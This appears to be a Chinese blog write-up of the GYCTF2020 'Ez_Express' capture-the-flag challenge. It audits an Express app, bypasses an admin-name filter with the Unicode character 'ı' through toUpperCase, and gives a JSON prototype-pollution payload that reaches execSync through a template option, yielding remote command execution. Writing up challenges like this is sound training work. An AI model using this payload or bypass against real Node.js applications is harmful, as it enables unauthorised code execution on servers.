• [GYCTF2020]Ez_Express


    目录

    考点:

    大体思路:

    前言:

    解题:

    总结:


    考点:

    JavaScript 原型链与原型链污染

    Undefsafe 模块原型链污染(CVE-2019-10795)

    大体思路:

    js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点

    切记一定要让其__proto__解析为一个键名

    前言:

    静下心来,慢慢思考。

    解题:

     扫描目录可得www.zip,进行代码审计 routes 下的 index.js文件:

    1. var express = require('express');
    2. var router = express.Router();
    3. const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    4. const merge = (a, b) => { //用了危险函数 merge
    5. for (var attr in b) {
    6. if (isObject(a[attr]) && isObject(b[attr])) {
    7. merge(a[attr], b[attr]);
    8. } else {
    9. a[attr] = b[attr];
    10. }
    11. }
    12. return a
    13. }
    14. const clone = (a) => {
    15. return merge({}, a);
    16. }
    17. function safeKeyword(keyword) {
    18. if(keyword.match(/(admin)/is)) {
    19. return keyword
    20. }
    21. return undefined
    22. }
    23. //路由
    24. router.get('/', function (req, res) {
    25. if(!req.session.user){ //没登录 返回到login
    26. res.redirect('/login');
    27. }
    28. res.outputFunctionName=undefined; //outputFunctionName=undefined
    29. res.render('index',data={'user':req.session.user.user}); //渲染
    30. });
    31. router.get('/login', function (req, res) {
    32. res.render('login');
    33. });
    34. router.post('/login', function (req, res) { //注册
    35. if(req.body.Submit=="register"){
    36. if(safeKeyword(req.body.userid)){ //调用safekeyword 名字不能为admin 否则 forbidword
    37. res.end("")
    38. }
    39. req.session.user={
    40. 'user':req.body.userid.toUpperCase(), //id变为大写
    41. 'passwd': req.body.pwd,
    42. 'isLogin':false
    43. }
    44. res.redirect('/');
    45. }
    46. else if(req.body.Submit=="login"){ //检测登录
    47. if(!req.session.user){res.end("")}
    48. if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
    49. req.session.user.isLogin=true;
    50. }
    51. else{
    52. res.end("")
    53. }
    54. }
    55. res.redirect('/'); ;
    56. });
    57. router.post('/action', function (req, res) { //只有 admin 才能使用 clone 功能
    58. if(req.session.user.user!="ADMIN"){res.end("")}
    59. req.session.user.data = clone(req.body);
    60. res.end("");
    61. });
    62. router.get('/info', function (req, res) {
    63. res.render('index',data={'user':res.outputFunctionName}); //原型链污染点
    64. })
    65. module.exports = router;

    源码中 用了 merge() 和clone() ,那必定是原型链污染了,往下找到 clone()的位置:

    1. router.post('/action', function (req, res) { // /action路由只能admin用户访问
    2. if(req.session.user.user!="ADMIN"){res.end("")}
    3. req.session.user.data = clone(req.body); // 使用了之前定义的危险的merge操作
    4. //主要就是实现克隆出一个对象出来,这里克隆的是我们的请求体,使其等于user.data,那就可以在该页面下POST数据给outputFunctionName赋值从而执行命令。
    5. res.end("");
    6. });

    可见,如果我们登上admin 后,便可以发送post 数据来进行原型链污染,但是要污染那个参数?

    我们继续向下看到 /info 路由:

    1. router.get('/info', function (req, res) {
    2. res.render('index',data={'user':res.outputFunctionName});
    3. })

    可以看到 在/info下,将res 对象中的  outputFunctionName  属性 渲染入了 index 中 。

    而 outputFunctionName 是没有定义的。

    1. res.outputFunctionName=undefined;

    但是需要admin 账号才能用到 clone ()  于是我们去 /login 路由中看看

    首先题目要求我们必须是ADMIN

     /login:

    1. router.post('/login', function (req, res) {
    2. if(req.body.Submit=="register"){
    3. if(safeKeyword(req.body.userid)){ // 注册的用户的userid不能是admin
    4. res.end("")
    5. }
    6. req.session.user={
    7. 'user':req.body.userid.toUpperCase(), // 变成大写
    8. 'passwd': req.body.pwd,
    9. 'isLogin':false
    10. }
    11. res.redirect('/');
    12. }
    13. else if(req.body.Submit=="login"){
    14. if(!req.session.user){res.end("")}
    15. if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
    16. req.session.user.isLogin=true;
    17. }
    18. else{
    19. res.end("")
    20. }
    21. }
    22. res.redirect('/'); ;
    23. });

    可以看到,注册的名字不能为 admin (大小写),不过有个地方注意下:

    1. 'user':req.body.userid.toUpperCase(),

    这里把 user名 给转为大写了,是否考虑可以绕过?这种转编码的通常都很容易出问题,具体请参考 p 牛的文章 :《Fuzz中的javascript大小写特性 |离别歌 (leavesongs.com)

    我们可以注册一个  admın 此   admın 非admin 仔细看  i 。

    特殊字符绕过:

    toUpperCase()

    我们可以在其中混入了两个奇特的字符”ı”、”ſ”。这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。

    toLowerCase()

    这个”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.

    登录admin成功后:

     让我们输入自己最喜欢的语言,这里我们可以发送payload 进行原型链污染:

    将 Content-Type 设为 application/json

    1. {"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}f

     访问 /info 路由得到flag

    总结:


    1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始


    2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。


    3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。
     

  • 相关阅读:
    数字信号处理——多速率信号处理(2)
    数据结构——线性表作业
    NSSCTF第13页(2)
    linux下安装Prometheus一篇就够了
    人工智能数学课高等数学线性微积分数学教程笔记(3. 线性代数基础)
    Vuecli项目结构,及组件的使用
    行为型设计模式之策略模式
    CentOS7安装MySQL8
    新学期 新气象
    数据结构(集合结构+线性结构+树形结构+图形结构)+B树【面试题】
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126678497